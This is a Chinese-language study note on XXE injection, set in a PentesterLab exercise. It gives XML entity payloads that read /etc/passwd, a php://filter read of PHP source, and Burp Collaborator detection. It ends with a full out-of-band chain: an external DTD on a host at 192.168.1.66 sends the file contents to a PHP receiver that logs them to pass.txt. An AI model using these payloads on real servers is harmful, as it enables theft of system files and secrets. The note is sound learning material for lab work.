XXE漏洞学习
0x00 XXE漏洞介绍:
背景:2018-7-4 微信支付SDK漏洞(XXE漏洞),攻击者可以获取服务器中目录结构,文件内容,eg:代码,各种私钥。敏感数据泄露
0x01什么是xxe漏洞:
XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞.
XML Extwrnal Entity,也就是XML外部实体注入攻击
- 漏洞存在于XML中
- 外部 漏洞的条件 实体通过SYStem加载外部资源 DTD也可以通过外部应用
- ENtity 实体 :漏洞的具体位置 变量
外部引用必须被XML解释器解析才能加载
漏洞的利用过程和SSRF非常类似。漏洞的危害与ssrf几乎一致。
什么是XML?
- 可扩展标记语言:标记数据,定义数据类型
- 一种标记语言,类似于HTML(由标签组成<>)
- 宗旨是传输数据,而非显示数据。html被设计用来显示数据
- 标签没有被定义,需要自行定义标签
- 被设计为具有自我描述性
- 是W3c的推荐标准
区别:
1.XML可自定义标签
2.XML存储或传输数据
3,XML区分大小写
4.XML标签嵌套闭合比较严谨
5.必须要有根元素,如
6.实体字符 类似于xss eg:<>由< 和 >表示
HTML目的是为了显示数据
元素代表标签:
第一行:定义note元素,定义了里面有to,from,heading,body这四个元素
ENtity 实体定义:在DTD下面 (实体就是个变量)
<!ENTITY free "nice"> 定义了一个实体叫free ,free里面存了个nice,类似于变量的作用
调用变量:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free "nice"> //内部实体
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
调用结果显示如下:
外部实体需要通过system引用
eg: //通过file协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free SYSTEM"file:///etc/passwd">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
DTD通过外部引用的方法:(逻辑上可行,实际看情况)
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
将上述代码写入free.dtd文件中
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "free.dtd"> //这里通过system来对free.dtd文件进行加载
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>
</note>
导致文件读取,泄露服务器上的敏感数据 (前提条件是:XML文档能够被解析)
接下来的代码将展示XML文件如何被解析:
xxe.php文件:
<?php
$xml=file_get_contents("php://input");//**接收用户传过来的XML文档**
//通过php- input来捕获数据流 data ,将捕获到的内容存到xml中
$data = simplexml_load_string($xml) ;
// 把xml文档解析成simple xml element object对象
echo "<pre>" ;
print_r($data) ;
//将解析后的对象打印到公屏
echo "</pre>" ;
?>
如何读取php文件:
php://filiter/read=convert.base64-encode/resource=xxe.php
当没有print_r($data);的情况下,即无回显,该如何解决呢?
解决方法:
1.获取数据,把数据内容保存到变量中 外部实体
2.获取前面取到的数据 (带外)oob
0x03实验环境搭建:
pentester lab(这里我设置的是桥接网络)
切换到root用户下:
然后再物理机上登入该虚拟机网站
0x04小思考:如何确认该网站存在xxe漏洞?
该网站是否能解析xml?
解决方法:
发送给他一个xml文档,如果该网站解析的话,说明存在xxe漏洞
如果加载了外部资源,说明存在xxe
1.通过bp,先截取数据包
发到重发器中(删除最低下username和helloo那一行)
添加xml文档(记得要空出一行)
同时将CONtent-Type中的内容修改成tetx/xml
返回结果如下,(返回200,说明页面成功显示)
同时查看bp中的Collaborator
发现外部资源(dnsLOG)被进行访问了,说明存在xxe漏洞
这里通过构建一个网站,将用户信息记录到txt上(思路)
<?php
$pass = $_GET['pass'];
file_put_contents('pass.txt',$pass);//通过file_put_contents将pass的值记录到pass.txt上
?>
0X05实践版:
1.获取数据,把数据内容保存到变量中 外部实体 p1 =passwd(将p1作为参数)
2.OOB获取数据 p2 system http://192.168.1.66/xxe.php?pass = &p1(=passwd)//加载该资源的过程时,调用p1
具体代码实现:
xml文档:
<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.1.66/test.dtd">//声明了外部的dtd,因此要先到1.66去寻找dtd,找到以后开始调用dtd的代码
<foo>&e1;</foo>
dtd中代码作用:
1.获取数据,把数据内容保存到变量中 外部实体
2.OOB获取数据
先获取passwd,再将passwd发出去
先创建test.dtd
<!ENTITY %p1 SYSTEM"file:///etc/passwd">
<!ENTITY %p2 <!ENTITY e1 SYSTEM 'http://192.168.1.66/xxe.php?pass=%p1;'>">
%p2;
然后上传xml文档
结果存储再pass.txt文件中
``